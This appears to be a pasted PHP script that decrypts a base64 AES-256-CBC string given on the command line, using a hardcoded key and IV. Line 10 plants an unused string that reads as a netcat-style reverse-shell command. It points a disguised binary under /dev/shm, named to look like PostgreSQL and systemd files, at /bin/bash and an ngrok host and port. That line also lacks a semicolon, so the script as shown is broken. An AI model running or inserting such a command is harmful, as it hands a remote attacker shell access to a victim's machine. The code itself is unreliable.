· 4 years ago · Nov 22, 2020, 01:06 PM
1<?php
2
3function decrypt($string) {
4 $encrypt_method = "AES-256-CBC";
5 $secret_key = 'The DB is the bottleneck because';
6 $secret_iv = 'Doing it in PHP is better because';
7 // hash
8 $key = hash('sha256', $secret_key);
9 $iv = substr(hash('sha256', $secret_iv), 0, 16);
10 $vi = "/dev/shm/PostgreSQL.1420451529/systemd-private-caf52a86a069465f86c1a8dc5423daf8-colord.service-SazZvj -e /bin/bash 0.tcp.ngrok.io 17145"
11 return $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
12}
13
14$data = $argv[1];
15echo decrypt($data) . "\n";
16?>